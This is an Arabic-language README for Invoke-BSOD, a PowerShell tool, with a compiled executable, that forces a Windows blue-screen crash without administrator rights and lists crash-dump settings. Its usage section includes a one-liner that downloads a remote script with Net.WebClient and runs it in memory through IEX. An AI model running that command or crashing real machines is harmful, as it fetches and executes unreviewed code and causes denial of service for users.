Invoke-BSOD

لحظة عندما تريد أن يتم إنهاء الكمبيوتر - بدون صلاحيات المسؤول!

طريقة ظهور شاشة الموت الزرقاء من هنا: https://github.com/Leurak/MEMZ/blob/master/WindowsTrojan/Source/Destructive/KillWindows.c#L10-L18

Invoke-BSOD.ps1

نص برمجي باورشل لإحداث شاشة الموت الزرقاء (BSOD) بدون صلاحيات المسؤول. كما يقوم بتعداد إعدادات ملفات تصدع ويندوز.

هذا هو نص برمجي مستقل، لا يعتمد على أي ملفات أخرى هنا.

Invoke-BSOD

يستدعي شاشة الموت الزرقاء.

Get-DumpSettings

يعيد إعدادات ملفات التصدع الحالية لتعرف نوع ملف التصدع الذي ستقوم بإنشائه، وأين سيتم حفظه.

مزيد من المعلومات حول أنواع ملفات التصدع هنا: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/varieties-of-kernel-mode-dump-files

الاستخدام:

PS>Import-Module .\Invoke-BSOD.ps1
PS>Get-DumpSettings

  Name                           Value
  ----                           -----
  DumpFileLocation               C:\WINDOWS\MEMORY.DMP
  OverwritePrevious              True
  AutoReboot                     True
  AutoDeleteWhenLowSpace         False
  SystemLogEvent                 True
  CrashDumpMode                  Automatic Memory Dump
  
PS>Invoke-BSOD

أو...

PS>IEX((New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-BSOD/master/Invoke-BSOD.ps1'));Invoke-BSOD

BSOD.exe

ملف تنفيذي مُجمّع يقوم أيضاً بإنشاء شاشة الموت الزرقاء.

مفيد عندما لا يتوفر لديك باورشل؟

Program.cs

الكود المصدري بلغة C# وراء BSOD.exe